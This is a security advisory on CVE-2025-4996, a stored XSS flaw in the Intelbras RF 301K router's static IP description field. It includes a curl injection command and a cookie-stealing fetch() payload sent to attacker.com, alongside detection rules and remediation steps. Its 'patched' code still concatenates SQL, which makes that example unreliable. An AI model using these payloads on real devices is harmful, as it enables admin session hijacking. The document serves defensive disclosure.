CVE-2025-4996

Executive Summary

CVE-2025-4996 is a stored cross-site scripting (XSS) vulnerability identified in the Intelbras RF 301K router, specifically in firmware version 1.1.5. The flaw resides in the "Add Static IP" component, where the "Description" argument is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code. This vulnerability can be exploited remotely without authentication, but requires user interaction (e.g., an admin viewing the injected description). The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (4.3). No patch is currently available from Intelbras, and a public proof-of-concept (PoC) exists.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Intelbras RF 301K router). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must view the malicious description.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited modification of data (e.g., defacement).
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. It could lead to session hijacking or admin panel manipulation.

Deep Dive & Mechanics

The Intelbras RF 301K router's web interface includes a "Static IP" configuration page where administrators can add static IP assignments. The "Description" field is intended for labeling purposes (e.g., "Office Printer"). Due to insufficient input validation and output encoding, an attacker can inject HTML and JavaScript into this field.

Attack Flow:

1. An attacker sends a crafted HTTP POST request to the router's management interface (e.g., /cgi-bin/static_ip.cgi) with a malicious payload in the description parameter.
2. The router stores the payload in its configuration database (likely NVRAM or a flat file).
3. When an administrator views the static IP list (e.g., via the web admin panel), the payload is rendered in the browser without sanitization.
4. The injected JavaScript executes in the context of the admin's session, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: The router's firmware does not escape or sanitize user input in the Description field before rendering it in HTML. This is a classic stored XSS vulnerability.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

Vulnerable (PHP or CGI):

<?php
$description = $_POST['description'];
// No sanitization
$query = "INSERT INTO static_ip (ip, mac, description) VALUES ('$ip', '$mac', '$description')";
// ... later, when displaying:
echo "<tr><td>$ip</td><td>$mac</td><td>$description</td></tr>";
?>

Patched (Hypothetical):

<?php
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
// Or use a proper sanitization library
$query = "INSERT INTO static_ip (ip, mac, description) VALUES ('$ip', '$mac', '$description')";
// ... later, when displaying:
echo "<tr><td>$ip</td><td>$mac</td><td>$description</td></tr>";
?>

The patched version would use htmlspecialchars() or equivalent to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Intelbras RF 301K router with firmware 1.1.5
• Network access to the router's web interface (default IP: 192.168.1.1)
• A web browser or tool like curl or Burp Suite

Exploit Steps:

1. Identify the router's IP (e.g., 192.168.1.1).
2. Send a POST request to the static IP configuration endpoint:

   curl -X POST http://192.168.1.1/cgi-bin/static_ip.cgi \
     -d "ip=192.168.1.100&mac=00:11:22:33:44:55&description=<script>alert('XSS')</script>"
   

3. Wait for an admin to view the static IP list (e.g., via the web admin panel).
4. The injected script executes, potentially stealing cookies or performing actions.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection:

• Monitor HTTP POST requests to /cgi-bin/static_ip.cgi with suspicious description parameters containing <script> or onerror attributes.
• Use a web application firewall (WAF) to block common XSS patterns.
• Enable logging on the router to capture all admin actions.

Mitigation:

• Immediately isolate the router from untrusted networks.
• Disable remote management if not required.
• Apply input validation and output encoding (if custom firmware is possible).
• Monitor for unusual outbound connections from the router (e.g., to attacker-controlled IPs).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/static_ip.cgi with description containing <script> or onerror tags.
  • Outbound connections from the router to unknown IPs on ports 80/443 (exfiltration).
• File System:
  • Modified configuration files (e.g., /etc/config/static_ip) containing HTML/JavaScript.
• Logs:
  • Router logs showing repeated POST requests to the static IP endpoint.
  • Browser console errors (if XSS is blocked by CSP).

Detection Engineering

YARA Rule

rule Intelbras_RF301K_XSS_Description {
    meta:
        description = "Detects XSS payload in Intelbras RF 301K static IP description"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-4996"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Intelbras RF 301K Stored XSS via Static IP Description
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/static_ip.cgi with XSS payloads in the description parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/static_ip.cgi'
    keywords:
        - 'description='
        - '<script'
        - 'onerror'
        - 'onload'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in description (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Intelbras RF 301K Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/static_ip.cgi"; http_uri;
    content:"description="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-4996;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If the router's web interface is exposed to the internet, disable remote access immediately.
2. Change Default Credentials: Ensure the admin password is strong and not default.
3. Monitor Logs: Check router logs for suspicious POST requests to /cgi-bin/static_ip.cgi.

Long-Term Fix:

• Vendor Patch: Contact Intelbras for a firmware update. No patch is currently available.
• Workaround: If possible, block access to the /cgi-bin/static_ip.cgi endpoint via a firewall or ACL.
• Custom Firmware: Consider using open-source firmware (e.g., OpenWrt) if supported, which may have better security.

Compensating Controls:

• Deploy a WAF (e.g., ModSecurity) in front of the router to filter XSS payloads.
• Implement Content Security Policy (CSP) headers on the router's web interface (if configurable).
• Use network segmentation to isolate the router from critical assets.

Valters IT
Securing Digital Frontiers